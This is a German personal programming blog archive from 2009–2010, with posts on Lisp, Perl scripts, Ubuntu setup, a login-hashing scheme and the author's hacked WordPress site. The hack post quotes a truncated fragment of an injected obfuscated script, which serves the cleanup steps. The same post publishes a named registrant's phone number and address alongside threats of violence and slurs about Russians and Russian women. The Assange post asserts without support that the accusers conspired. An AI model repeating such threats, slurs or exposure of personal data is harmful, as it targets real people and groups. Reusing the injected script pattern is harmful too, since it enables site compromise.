5

Assange über das Überbringen schlechter Nachrichten

Posted by Patrick Krusenotto on Dez 7, 2010 in Allgemein

Worüber regen sich eigentlich Alle auf? Ist das denn überhaupt wirkliche Aufregung oder ist man viel eher einfach nur pickiert? Pickiert darüber, dass man wieder einmal als letzer verstanden hat, wie Kommunikation im 21.Jahrhundert funktioniert und noch mehr darüber, dass das amerikanische Aussenministerium seine “geheimen” Dokumente nicht vernünftig geheim halten kann?

Jedenfalls scheint es mir im Moment lächerlich, Assange wegen sexueller Nötigung festzusetzen. Damit demonstriert man nur, wie nötig man es zu haben glaubt, den Amerikanern einen Gefallen zu tun. Die Vorwürfe sind wohl eher ein Komplott zweier Frauen, die sich vom Wikileaks Gründer betrogen fühlen.

Aber leider hat man aktuell nichts Besseres in der Hand und da müssen die wenigstens ‘leicht’ peinlichen Enthüllungen eben ein noch peinlicheres Sahnehäubchen bekommen, damit auch kein Zweifel bleibt, dass die politische Klasse mit dem Problem nicht umgehen kann.

Im “Australian” befindet sich ein Artikel von Julian Assange. Diesen Artikel empfehle ich dringend zur Lektüre.

Das einzige Interessante an den 250.000 Depechen ist eigentlich die nun bekannt gewordene Bitte des Saudischen Königs an die USA, den Iran anzugreifen. Allerdings auch nicht unbedingt besonders interessant, denn daß die Arabische Liga sich noch nie so gut verstanden hat, wie viele befürchten, ist nichts neues. Daß Araber eine sehr deutliche Sprache pflegen, auch nicht. So, What?

Der ganze Tratsch über Merkel und Westerwelle ist bestenfalls unterhaltsam. Im Gegenteil freue ich mich schon auf Meldungen, wie die angepissten Politiker sich mit ihren amerikanischen Freunden in den Armen liegen und sich gegenseitig zu privaten Kränzchen einladen, damit um Gottes Willen kein Zweifel darüber besteht, wie lieb man sich hat und vieviel Kompetenz man sich zurechnet. Denn, last not least, wissen wir allein durch diese Depeche , daß Westerwelle im Zwiegespräch mit dem amerikanischen Botschafter ein fluentes Englisch sprechen kann.

Über diese Neuheit freuen wir uns.

 
0

Transitive Hülle

Posted by Patrick Krusenotto on Jun 4, 2010 in Allgemein, Common Lisp

Ich bin zur Zeit dabei, wieder in LISP einzusteigen. In einem beruflichen Projekt, das ich in der Programmiersprache Python abgewickelt hatte, war es erforderlich, die Transitive Hülle eines Graphen zu berechnen. Deswegen habe ich dieses simple Beispiel mal genommen und versucht, es LISP-gemäß zu implementieren. Dabei ging es mir nur darum, ein bisschen zu üben.

Wem der Begriff “Transitive Hülle” fremd ist: Hat man einen gerichteten Graphen oder eine zweistellige Relation, so gilt für die Transitive Hülle: Falls zwei Kanten x->y und y->z enthalten sind, so ist auch die Kante x->z enthalten. Näheres findet man in der Wikipedia.

Der Graph soll als liste von Kanten, also z.B ((a b) (b c) (a x)) übergeben werden.
Die Definition der Berechnung in LISP erfolgt nach den Regeln:

  1. Die Transitive Hülle der leeren Menge ist die leere Menge
  2. Die Transitive Hülle einer einelementigen Menge ist eben diese einelementige Menge
  3. Ansonsten wird die Transitive Hülle berechnet, indem die Transitive Hülle der Restliste (das CDR) berechnet wird und dann das CAR der Liste mit jedem Element der Transitiven Hülle der Restliste verglichen wird, und - falls noch eine Transition fehlt, diese hinzugefügt wird.
(defun transitive-closure (edges)
  (cond ((null edges) nil)
	((eq 1 (length edges)) edges)
	( t (union edges
		   (let ((e (car edges))
			 (l (transitive-closure (cdr edges)))
			 )
		     (loop for x in l
			when (eq (second x) (first e))
			collect (list (first x) (second e))
			when (eq (second e) (first x))
			collect (list (first e) (second x))))
		   :test #'equal))))

Welche Transitionen noch fehlen, mit dem LOOP-Macro festgestellt. Es gesucht, ob in der Transitiven Hülle der Restlliste das erste oder das zweite element des “CAR” als zeites oder erstes element einer Kante vorkommt und, falls dem so ist, die Transitive Kante hinzugenommen wird.

Beispiele:

[120]> (transitive-closure '((a b) (b c) (a x)))
((A B) (B C) (A X) (A C))

[121]> (transitive-closure '((a b) (b c) (a x) (x d)))
((A B) (B C) (A X) (X D) (A C))

Es würde mich als LISP-Wiedereinsteiger natürlich interessieren, ob es eine elegantere oder schnellere Berechnungsmöglichkeit gibt. Vielleicht findet ja ein LISP-Kenner mein Posting und hilft mir weiter. Danke im Voraus!

 
31

Algorithmenwerk.de wurde gehackt: “itsallbreaksoft.net”

Posted by Patrick Krusenotto on Feb 5, 2010 in Allgemein

400px-church_of_the_savior_on_blood_1

Nett, meine Website wurde gehackt. Während ich den Artikel youtube mp3 instant rippen schrieb, fiel mir auf, dass mein Browser immer auf die Adresse “itsallbreaksoft.net” zugriff.

Eine Whois-Anfrage dieser Domain liefert folgendes russisches Arschloch:

Registration Service Provided By: -
Contact: director@climbing-games.com
Visit: http://www.ruler-domains.com

Domain name: itsallbreaksoft.net

Registrant Contact:
   Nexton Limited
   Ryabov Sergey ()

   Fax:
   Scherbakova st., 6-38
   Saint-Petersburg,  197375
   RU

Administrative Contact:
   Nexton Limited
   Ryabov Sergey (director@climbing-games.com)
   +79219270961
   Fax: +79219270961
   Scherbakova st., 6-38
   Saint-Petersburg,  197375
   RU

Technical Contact:
   Nexton Limited
   Ryabov Sergey (director@climbing-games.com)
   +79219270961
   Fax: +79219270961
   Scherbakova st., 6-38
   Saint-Petersburg,  197375
   RU

Wenn ich ihm mal begegnen sollte, werde ich ihm die Finger brechen und seine Mutter ficken (Wundern sie sich nicht über diesen vulgären Ausbruch, in Russland sagt man das so :-) )

Der Hack ist leicht zu beseitigen. In der Datei

./wp-content/themes/[THEME]/header.php

befindet sich ein Stück Javasript-code:

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74
%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75

blah
blah
blah 

%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B
%268E%261B%264D0tdsjqu%264F1')</script>

Dieser Code muss entfernt werden. Danach erstmal diese Datei mit

sudo chmod a-w header.php

vor Schreibenzugriffen schützen. Das ist im Moment die einzige sinnvolle Maßnahme, da auch die aktuelle Wordpress-Version von diesem Exploit betroffen sein kann.

Danach empfehle ich einen Besuch in St.Petersburg. Nehmen Sie eine Rohrzange und ein Kondom mit! Russinnen duschen nicht so oft wie Europäerinnen!

 
4

Youtube mp3 instant rippen

Posted by Patrick Krusenotto on Feb 5, 2010 in Allgemein

Cooler Titel, oder? :-) Und es geht um folgendes: Gerade einen schönen Titel auf youtube gesehen? Davon wollen Sie auf Knopfdruck einen mp3-Abzug haben? Das kann richtig Arbeit werden! Man muss nämlich den URL aus dem Browser fischen, dann mit “youtube-dl” das flashvideo ziehen, warten bis es da ist, dann mit mplayer nach mp3 konvertieren und das hinten raus gefallene mp3-fiile geeignet umbenennen und in sein Musikarchiv kopieren, wo der Musik Player es dann findet.

Das war mir zu lästig und manchmal gucke ich auch am späten Abend nach zwei Gläsern Wein noch youtube. Dann spätestens wird Alles zu fehleranfällig.

Heute habe ich ein Icon auf meinem “Panel” auf das ich nur drauf klicken muss dahinter ist ein Skript, das

  1. In der Firefox-History den letzten link sucht
  2. Die Youtube-Seite zieht
  3. Aus dieser den Titel extrahiert
  4. Das Flash-Video von Youtube runterlädt
  5. Dieses nach MP3 konvertiert
  6. An geeigneter Stelle das mp3-File mit dem richtigen Namen ablegt

Damit das ganze klappt müssen unter ubuntu 9.10 folgende Pakete installiert werden:

sqlite3 - Das ist nötig, da Firefox seine history als sqlite-datenbank ablegt

libdbd-sqlite3-perl - Das Perl-Interface zu sqlite

youtube-dl - Youtube-Downloader

#!/usr/bin/perl

# Dieses Skript holt ein Video aus youtube aufgrund einer URL aus der
# Firefox-history, convertiert es nach mp3, holt den Namen aus youtube
# und speichert dann das mp3-file unter diesem Namen ab.

# Patrick Krusenotto, Januar 2010
# LIZENZBEDINGUNGEN: 
# Machen Sie damit was sie wollen. Hauptsache Sie machen es.

use strict;
use LWP::Simple;
use HTML::Entities;
use DBI;

sub get_default_firefox_profile {
  # unter der sehr warscheinlilchen Annahme, dass das default-profile
  # verwendet wird, muss dieses erst namentlich bestimmt werden
  for (`cat ~/.mozilla/firefox/profiles.ini`) {
    if (/^Name=default$/../^Path=/) {
      if (/^Path=(.*)$/) {
	return $1;
      }
    }
  }
  return undef;
}

sub get_firefox_default_profile {
  # das profile muss erstmal kopiert werden, denn firefox ist
  # vermutlich noch offen und auf der datenbank ein Lock und sqlite
  # gestattet dann nicht, das profile zu lesen.
  my $profile = get_default_firefox_profile();
  system("cp ~/.mozilla/firefox/$profile/places.sqlite /tmp/youtube.sqlite");
  return "/tmp/youtube.sqlite";
}

sub get_last_url_from_firefox_default_profile {
  # fische die letzte url aus der tabelle "moz_places"; der
  # firefox-history
  my $dbfile=get_firefox_default_profile();
  my $dbh = DBI->connect("dbi:SQLite:dbname=$dbfile","","");
  my $url = $dbh->selectall_arrayref("select url from moz_places where oid = (select max(oid) from moz_places); ");
  return $url->[0]->[0];
}

sub youtube_title {
  # ermittle den titel aus der html-seite. Das ist reine Heuristik und
  # könnte schon nächste woche nicht mehr funktionieren. Mit
  # HTML::Parser was zu bauen, war mir zu lästig
  my $id=shift;
  my @content = split /\n/, get "http://www.youtube.com/watch?v=$id";
  my $title;
  # Mit dieser Shell-Anweisung kann die auslösung des namens getestet
  # werden, falls der aufbau der yt-seiten sich ändern sollte: curl
  # http://www.youtube.com/watch?v=KLLxdcrk0-s 2>/dev/null | perl -ne
  # '/^\s*-\s(.*)$/ and print $1'
  for (@content) {
    if ($_=~ /^\s+-\s(.*)$/ ) {
      $title=$1;
      last;
    }
  }
  # In dem Titel ist einiges an dreck drin. Insbesondere HTML-Entities
  # und Sonderzeichen die bei Dateinamen unpraktisch sind. FOTT DAMETT! :
  $title = decode_entities($title);
  $title =~ s/'//g;
  $title =~ s/"//g;
  $title =~ s/\(//g;
  $title =~ s/\)//g;
  return $title;
}

# =============================================================================
# SECTION: MAIN
# =============================================================================

chdir "/tmp";

my $url = $ARGV[0] || get_last_url_from_firefox_default_profile();

my $id;
if ($url =~m|youtube|) {
  $url=~m|http://www\.youtube\.com/watch\?v=([^&]+)|;
  $id=$1
} else {
  $id = $url
}

my $title = youtube_title($id);

print "=====================================================================\n";
print "$title\n";
print "=====================================================================\n";

if (! -f "$id.mp3") {
  system("youtube-dl $id");
  system("mplayer -dumpaudio -dumpfile \"$title.mp3\" $id.flv");
}

system ("cp", "$title.mp3", "~/Musik");

 
0

Komplexe Systeme sind Scheiße

Posted by Patrick Krusenotto on Dez 29, 2009 in Allgemein
best_of_creative_computing_volume_2_cover

Ist diese Zeit vorbei?

Eine Polemik gegen Dinge, aus denen sich keine Essenz destillieren läst

Mephisto: Wer will was lebendiges erkennen und beschreiben, sucht erst den Geist heraus zu treiben. Dann hat er die Teile in seiner Hand. Fehlt leider nur das geistige Band

Wann haben Sie zuletzt etwas in Software gesehen, was sie umgehauen hat? Was einfach so fantastisch war, daß sie erst nicht glauben konnten, dass soetwas möglich ist, und was sie direkt ungeheuer nützlich fanden? Keine einfache Frage oder?

Ist Windows Vista(ok, scheiß Beispiel :-) ) eindrucksvoll oder ein LAMPP-Server aus Linux, Apache, PHP, Perl ? Seien sie ehrlich, es ist nicht eindrucksvoll. Es ist einfach nur eine zusammengequrltes Zeuch, bei dem man sich vor allem mit einem befasst: Konfigurieren, Doku lesen und weiter konfigurieren. (Teil meines täglichen Brotes, übrigens)

Ich kann die Eingangsfrage aber aus meiner Perspektive beantworten: Das Vor-vor-letzte wirklich eindrucksvolle in Sachen Software habe ich 1975 gesehen. Es war ein wissenschaftlicher Taschenrechner, den meine Eltern meinen älteren Geschwistern für die Oberstufe gekauft hatten. Er konnte schneller als ich multiplizieren, addieren, dividieren usw. Und er konnte noch sehr sonderbare spezielle Sachen wie “sin”, “tan” - mit denen ich nichts anfangen konnte, bestimmen. Irgendetwas Magisches eben. Dann leuchteten die Ziffern in herrlichen rot und von dem ganzen Teil ging eine wunderbare Aura aus. Daß das mit Software zu tun hatte, wusste ich mit damals 8 Jahren garnicht.

Ich muss aber eine andere Software erwähnen, die ich um das Jahr 1986 mal auf einer Veranstaltung gesehen habe, die sich “Bergische Computertage” nannte und in der Uni Wuppertal stattfand. Die ganze Veranstaltung bestand aus Vorführungen von Computersystemen in einer aberwitzigen Typenvielfalt. Grafiken, die Temperaturgradienten von erhitzten Metallen zeigten, Berechnungen des Apfelmänchens und und Ähnliches. Unter diesen Computersystemen war eines, das mit einem Algebrasystem ausgestattet war. Dieses System konnte wiederum etwas sehr faszinierendes: Stammfunktionen bestimmen. Da das zu Fuß ein ziemliches Gefudel und manchmal sehr frustrierend sein konnte, war ich platt, wie schnell der Kasten entweder eine Stammfunkion ausgespuckt hatte oder zumindest sagen konnte, dass er keine finden kann. Das System war übrigens ins LISP geschrieben und es handelte sich um Macsyma.

Das war 1986! Heute ist fast 2010!

Das nächste Ding, das mich hätte beeindrucken können, tat dies schon nicht mehr. Es war 1987 eine Programmiersprache die für den SUPRENUM (Superrechner für Numerik) entwickelt worden war und über die ich eine Proseminararbeit schreiben sollte. Ein brotiges etwas von einer deskriptiven und imperativen Sprache, ein wirrer Verhau von hybriden Konzepten. Grauslich! Natürlich wurde diese Programmiersprache nie vollständig implementiert und überhaupt war das ganze 200 Mio SUPRENUM-Projekt am Ende ein Griff ins Klo.

Danch habe ich noch hin und wieder ein Highlight gesehen. “DOOM” von id Software zum Beispiel. Vielleicht war das die letze marktgerechte Software, die stabil lief. Danach kam nur noch Matsch.

Woran liegt das?

Die Frage ist natürlich nicht leicht zu beantworten. Zum einen bin ich davon überzeugt, daß Bjarne Stroustroup (der Erfinder des C++ Präprozessors) sein C++ aus reiner Böswilligkeit entwickelt hat und damit die Weltweite Entwicklung des Computers um wenigstens zwei Dekaden zurückwerfen wollte. C ist ja schon eine Zumutung, aber C++ ist ein einmaliger Fehlgriff in der Geschichte der Programmiersprachen. Es konnte auch nur so erfolgreich werden, weil jeder, der OOP nicht schon mit Borland Pascal erlernt hatte, OOP lernen wollte und in diesen Abgrund, den sich auch nur ein Skandinavier bei 6 monatiger Dunkelheit ausdenken kann, hinabsteigen musste. Um diesen perversen Unfug zu bewältigen, kaufte man derzeit Fachliteratur nicht nach Exemplaren, sondern nach Kilos. Voll mit bescheuerten Beispielen von der Taxonomie von Insekten oder der Hierarchisierung von Kraftfahrzeugen, um objektorientierte Programmierung zu vermittlen. Neulich habe ich noch einiger dieser wenig lesenswerten Bücher dem Altpapier überantwortet, aus dem sie hoffentlich irgrendwann als Postkarten wieder auferstehen, auf denen nette Grüße notiert werden. Jedenfalls hätte das arme Papier das verdient.

Zweitens hat Mitte bis Ende der 80 Jahre in der öffentlichen Rezeption und in der Rezeption der Computernutzer dieser eine massive Bedeutungsveränderung erfahren. Das Aufregende an der Computerei in den achziger Jahren war, daß jeder, der damit zu tun hatte, versuchte, herauszubekommen, was man alles damit machen konnte! Jedem, der eine erste Programiersprache erlernt hatte, wurde schnell klar was für ein irres Potenzial in der “Universellen Maschine” steckt. Und es war ungeheuer aufregend, rauszufinden, welche Probleme (Schach, Spiele, Mathe, Datenbanken) man damit lösen könnte, wenn man nur tief genug in die Materie einsteigen würde. Programmieren habe ich als ein einziges intellektuelles Lustgefühl empfunden Aber niemals als Arbeit oder anstrengend. Doch dann sollte alles anders kommen:
Programmierung, die noch von Doneld E. Knuth in seinem Werk “The Art of Computer Programming” als Kunst bezeichnet wurde, sollte auf einmal zu einer Ingenieurstätigkeit heruntergestuft werden. Eine Ingenieurstätigkeit! Pfui!

Himmel!

Ein Ingenieur ist eine Person, die zum Beispiel einen weitern, neuen Rasenmäher konstruiert. Genauso laut und stinkend, etwas anders aussehend aber am Ende auf demselben Prinzip basierend. Das hat mit Programmieren überhaupt nichts zu tun, denn Softwareentwicklung ist ja gerade die Entdeckung eines neuen Prinzips! - So jedenfalls meine Wahrnehmung.

Gleichzeitig verschwanden die vielen visionären Publikationen aus dem Bereich der Künstlichen Intelligenz und das ganze Thema KI überhaupt aus den Bücherregalen. Es erschienen nur noch Publikationen zu einem Thema, das aus Programmierern (mit einem Kopf!) Ingenieure (mit einem Schraubenzieher!) machen sollte: OOP; und zwar zusammen mit einem ebenfalls nervtötenden Begleiter: Nämlich “Grafische Benutzeroberflächen”. Von nun an war die ganze Kreativität fott.

Ich möchte die Verdienste der objektorientierten Programmierung aber nicht schmälern. Ich weiß, das Softwareprodukte wie “Empire Earth” und seine ungezählten Remakes ohne OOP, ohne Konzepte wie “feinkörnige Kapselung” und Vererbung und virtuelle Methoden nicht möglich wären. Auch moderne GUIs nicht. Auf der Anderen Seite muss man einfach sehen, daß dadurch die Tätigkeit des Programmmierers nur in die Breite und nicht in die Tiefe gewachsen ist. Algorithmen verloren im Bewustsein der Entwickler ihre Bedeutung und statt dessen schlug man sich mit Objekten, Vererbung oder manchmal einfach nur noch mit den Tücken eines GUI-Frameworks herum. Damit wurde der Weg bereitet, zu dem was wir heute als modernen Computer ansehen: Eine Maschine, mit der der man sich in Foren oder im Usenet gegenseitig anranzen kann, Pornos oder einfach dummes Zeug aus dem Internet runterläd und das nächste T-Shirt bestellt. Die Goldene Zeit der Programmierer ist erstmal vorbei.

Mit der nahezu unglaublich klobligen und uneleganten JAVA-Technologie konnte noch eins oben drauf gesetzt werden. Mit seiner bürokratischen und gleichzeitig höllisch geschwätzigen Natur beherrscht es derzeit die Welt der Programmierer und der Programmierung. Aber es ist Besserung in Sicht:

Microsoft macht es mit F#, andere mit Haskell, OCaml, Erlang usw. Diese Computersprachen können helfen, dass wir den Focus verlegen und wieder zurückkommen zum knappen, eleganten, und stilsicheren. Eben denjenigen Ideen in der Computerrei, denen man eine Essenz entnehmen kann. Das kann früher oder später dazu führen, das die Figuren in Computerspielen nicht sich nicht mehr so nervtötend dämlich benehmen, der Computer wieder ein interessantes Gerät wird. Dass sich wieder mehr Leute fragen, wie man mehr in die Tiefe der Möglichkeiten eindringen kann, als alles in die Breite zu ziehen.

 
1

Clusteranalyse

Posted by Patrick Krusenotto on Jul 14, 2009 in Algorithmen, Perl

Im Zusammenhang mit der Untersuchung des Surf-Verhaltens von Website-Besuchern bin ich auf das Mittel der Clusteranalyse gestossen. Die Clusteranalyse dient dazu, Individuen, denen ein oder mehrere numerische Merkmale zugeordnet werden könnnen, zu Clustern zusammen zu fassen, sodaß ähnliche Individuen im gleichen Cluster landen. Internet-Shops nutzen soche Analysen gerne um Nutzern zum Beispiel Bücher zu empfehlen. Dabei wird untersucht, ob es andere Nutzer mit einem ähnlichen Profil gibt. Die Bücher, die diese außerdem gekauft haben werden dem Shop-Benutzer dann empfohlen.

Bei der hier vorgestellten hierrarchischen Clusteranalyse werden wird der gesamte Datenbestand als Baum zusammengefasst. Die Individuen befinden sich nur in den Blättern

Der Algrithmus geht so vor, daß zunächst alles Individuen als Cluster aufegefasst werden. Sodann werden immer die Cluster, die sich am ähnlichsten sind (-> den geringsten Euklidischen Abstand haben) zu einem Cluster zusammengefasst. Die Berechnung endet, wenn nur noch ein Cluster übrig bleibt

Das Modul unten ist ein erster Prototyp, der eine solche Analyse durchführt.

package Cluster;
use strict;
use warnings;
# hierachische Clusteranalyse                                                                                                                                                                                                                               
sub new {
    # erzeuge neuen endknoten                                                                                                                                                                                                                               
    my ($class,$center) = @_;
    return bless {
        center => $center,
        nodes  => 1,
    }, $class;
}

sub combine {
    # fasse zwei cluster zu einem zusammen                                                                                                                                                                                                                  
    my ($class,$l,$r)= @_;
    my $res = bless {
        left=>$l,
        right=>$r,
        nodes=>do {
            my $n = 0;
            $n += $l->{nodes} if $l;
            $n += $r->{nodes} if $r;
            $n;
        },
    }, $class;
    my $fact_l = $l->{nodes};
    my $fact_r = $r->{nodes};
    my $quot = $res->{nodes};
    for (0..$#{$l->{center}}) {
        $res->{center}->[$_]=
             ($fact_l*$l->{center}->[$_]
              +$fact_r*$r->{center}->[$_])
             / $quot;
    }
    return $res;
}

sub distance {
    # bestimme die Distanz zwischen zwei clustern                                                                                                                                                                                                           
    my ($self,$other)=@_;
    die "Incompatible clusters" unless scalar(@{$self->{center}}) == scalar(@{$other->{center}});
    my $N = scalar(@{$self->{center}});
    my $h2;
    for my $i (0.. $N-1) {
        $h2 += ($self->{center}->[$i] - $other->{center}->[$i])**2;
    }
    return sqrt($h2);
}

use Memoize;
memoize "distance";

sub do_clustering {
    # führe hierarchisches clustering durch.                                                                                                                                                                                                                
    my (@clusters)  = @_;
    while (scalar(@clusters) > 1) {
        my $N=scalar(@clusters);
        my ($i_min,$j_min,$d_min) = (-1,-1,1e99);
        for my $i (0..$N-1) {
            for my $j ($i+1..$N-1) {
                my $d = $clusters[$i]->distance($clusters[$j]);
                if ($d < $d_min) {
                    ($i_min,$j_min,$d_min)=($i,$j,$d)
                }
            }
        }
        # $i_min und $j_min zusammenfassen                                                                                                                                                                                                                  
#       print "cluster($i_min,$j_min)\n";                                                                                                                                                                                                                   
        $clusters[$i_min] = __PACKAGE__->combine($clusters[$i_min],$clusters[$j_min]);
        $clusters[$j_min]=$clusters[$#clusters];
        pop @clusters;
    }
    return $clusters[0];
}
1;

Aufruf-Beispiel:

use Cluster;
my @clusters;

for  (1..200) {
    push @clusters,Cluster->new([int(rand(10)-5),int(rand(10)-5),int(rand(10)-5)]);
}

use Data::Dumper;
print Dumper( Cluster::do_clustering(@clusters));

 
0

Ubuntu 9.04

Posted by Patrick Krusenotto on Apr 25, 2009 in Allgemein

Soeben meldet der update-manager die Verfügbarkeit des neuen Ubuntu 9.04. Ich habe direkt auf die neue Version “up-ge-gradet” Das Upgrade über WLAN hat eine halbe Stunde gedauert. Probleme gab es keine.

Was kann ich im Moment dazu sagen? Das System startet schneller! Ich würde sagen, daß knapp weniger 40% weniger Zeit zum Booten erfoderlich ist. Was mich besonders freut, ist, daß zum einen meine WLAN-Verbindung überlebt hat und vor Allem, daß diese nun wesentlich schneller zur Verfügung steht. Vom Sobald der Des da ist, dauert es nur noch 2 Sekunden und die Internet-Verbindung ist da. Vorher musste ich noch 20 Sekunden warten. Da ich ich oft den Rechner nur einschalte, um nach Emails zu sehen ist das eine echte Erleichterung.

 
0

Ubuntu Linux auf dem Acer 5630Z mit WLAN

Posted by Patrick Krusenotto on Mär 21, 2009 in Allgemein, Linux

Ich habe mir ein Notebook Acer 5630Z gekauft. Ein schönes Notebook, das im T-Online-Shop ohne Betriebsystem angeboten wird. Ich konnte Kubuntu 8.04 ohne Probleme installieren. Leider habe ich es nicht geschafft,  das WLAN ans Laufen zu bekommen.

Daraufhin habe ich Ubuntu 8.10 installiert. Es lief ebenfalls auf Anhieb. Um das WLAN ans Laufen zu bringen, reicht es, diesen Treiber zu installieren. Dabei muss der Rechner eine Kabelverbindung ins Internet haben, da der Paketmanager weitere Pakete installieren will. Danach muss der Rechner neu gebootet werden. Dann arbeitet auch das WLAN.

Ob das auch unter Kubuntu 8.10 funktioniert, weiss ich nicht. Ich nehme aber an, daß es ebenfalls Problemlos arbeitet ich habe es nicht ausprobiert.

Tags:

 
0

Abhörsichere Logins für Internetportale

Posted by Patrick Krusenotto on Feb 22, 2009 in Algorithmen

horrohr_stethoskop_meyers_1890Heute fiel mir das Buch “Python kompakt” beim Aufräumen in die Hände. Da ich eigentlich keine Lust zum Aufrämen hatte, habe ich angefangen, darin zu blättern. Weiter hinten befindet sich zum Thema CGI-Programmierung ein Abschnitt zum Thema Login. Richtiger Weise stellt der Autor dort fest, daß es nicht gut ist, die Passwörter der Nutzer auf dem Server zu speichern. Das ist völlig korrekt und die Möglichkeit, diese Speicherung zu umgehen, die dort beschreiben wird, wird auch von den meisten Frameworks angeboten.

Sie sieht so aus, daß der Server den Benutzernamen und das Passwort miteinander verkettet und aus dieser Verkettung einen Hash-Wert (MD5, SHA1, was auch immer) bestimmt. Dieser Wert wird dann im Benutzerdatensatz abgespeichert. Beim Login wird mit den Eingaben dasselbe gemacht und der entstandene Hashwert verglichen. Schön und gut! Das Passwort kann jetzt der Datenbank nicht mehr entnommen werden und ist vor dem Administrator des Servers sicher.

Leider ist das immer noch unbefriedigend, denn nach wie vor wird das Passwort vom Browser zum Server übertragen und kann von jedem Router, Gateway, Proxy etc der an der Übertragung beteiligt ist, mitgeschrieben werden.

Ok, werden Sie sagen: Kein Problem. Wir führen die Hashwertberechnung auf der Browserseite mittels Javascript durch und übertragen nur den Hashwert an den Server. Dann gucken die bösen Hacker-Admins in die Röhre.

Dem entgegne ich: Die Gucken überhaupt nicht in die Röhre, denn denen ist es egal, ob sie das Passwort kennen oder nicht. Allein der Hashwert reicht schon, um Zugang zum Portal zu bekommen. Dazu müssen sie nur eine lokale Kopie der HTML-Seite der Loginmaske machen, diese leicht verändern, sodaß die Seite den abgehörten Hashwert an den Server schickt und fertig.

Was kann man also machen? Mein Vorschlag ist der folgende:

Wir übernehmen das Verfahren mit dem Hashwert wie oben beschrieben, sorgen aber dafür, daß trotzdem der Hashwert jedesmal anders ist. Die Lösung wie ich sie mir denke, sieht so aus:

Registrierung

  1. Benutzer gibt Benutzernamen B und Passwort P ein.
    Browser berechnet H = h(B+P). Dabei ist h eine Hashfunktion (MD5 oder SHA) und “+” eine Verkettungsoperation.
  2. Browser überträgt H an Server. Dieser legt H zusammen mit den anderen Benutzerdaten in der Datenbank ab.

Login

  1. Server erzeugt ein Los L. Das ist ein zufällige Zeichenkette. L wird zusammen mit der Loginmaske an den Browser gesendet.
  2. Der Browser nimmt die Benutzereingaben B und P entgegen. Er berechnet zunächst wie gehabt HB = h(B+P). Diesen Wert sendet er aber nicht zum Server sondern verquirlt ihn nun mit dem Los L:
    JB = h(L+Hb) = h(L+h(B+P)). JB ist der tatsächliche Kontrollwert, der über das unsichere Internet gesendet wird. Dieser Wert ist abhängig von L und deswegen bei jedem Login ein anderer. Er nützt einem Angreifer nichts, da dieser für seinen eigenen Loginversuch von Server ein anderes Los L zugeschickt bekommen würde.
  3. Der Server hat sich, um die Prüfung durchzuführen, das Los L für den betreffenden Client gemerkt, nimmt JB in Empfang entnimmt der Datenbank mit Hilfe des ebenfalls empfangenen Benutzernamens den gespeicherten Hashwert H. Damit berechnet er JS = h(L+H). Diesen Wert vergleicht er mit JB. Falls beide Werte identisch sind, ist der Login ok und kann zugelassen werden.

Das Verfahren erscheint mir sinnvoll und sicher, denn:

  1. Es steht kein Passwort in einer Datenbank
  2. Es wird kein Passwort übertragen
  3. Es wird keine andere Diskriminiante übertragen, mit der man in das System eindringen kann, denn im Wert JB ist das einmalige Los L verarbeitet, das beim einem Angriff durch einen Abhörer nicht mehr gültig ist.

Nun könnte man einwenden: Was soll der ganze Sermon, denn es gibt doch https, das dieses und eine Reihe anderer Abhör-Probleme sicher und ohne Aufwand erledigt. Wer für seine Projekte jederzeit 100€ für ein Zertifikat zur Verfügung hat: Völlig korrekt.

 
0

Falsche Warnung bei fsck und sshfs

Posted by Patrick Krusenotto on Jan 8, 2009 in Linux

800px-starforce_error_2

Ein etwas dubioser Fehler irritiert mich gerade bei einem cron-job. In meiner /etc/fstab sind Einträge wie

sshfs#www.krusenotto.de@ssh.strato.de: /mnt/www/krusenotto.de    fuse    user,noauto,allow_other 0       0

enthalten.  Andererseits gibt es einen cron-Job /etc/cron.daily/fsck

/sbin/fsck -Ta /dev/hdb1

Das führte dazu, daß ich täglich emails  bekam mit der Meldung:

WARNUNG: falsches Format in Zeile 13 von /etc/fstab

Dies ist eine Falschmeldung, da fsck die sshfs-Einträge nicht interpretieren kann. Übeltäter ist ein parsing-Fehler im Paket “e2fsprogs”. Er ist aber erst in der Version 1.40.4 gefixt. In meinem Debian-Etch ist aber diese Version nicht enthalten. Siehe hier. Um trotzdem nicht mit täglichen Email genervt zu werden, habe ich folgenden Workaround gemacht:

#!/bin/bash
/sbin/fsck -Ta /dev/hdb1 2>&1 \
| grep -v "^/dev/hdb1: clean,.*files.*blocks" \
| grep -v -E "^WARNUNG: falsches Format in Zeile [0123456789]+ von /etc/fstab" \
| tee /dev/null

Und dieses Skript in der crontab eingetragen. Die überflüssigen Meldungen werden damit abgefischt. Trotzdem werde ich alarmiert, wenn Fehler passieren.

Tags: , ,

Copyright © 2016 Das Algorithmenwerk* All rights reserved. Theme by Laptop Geek.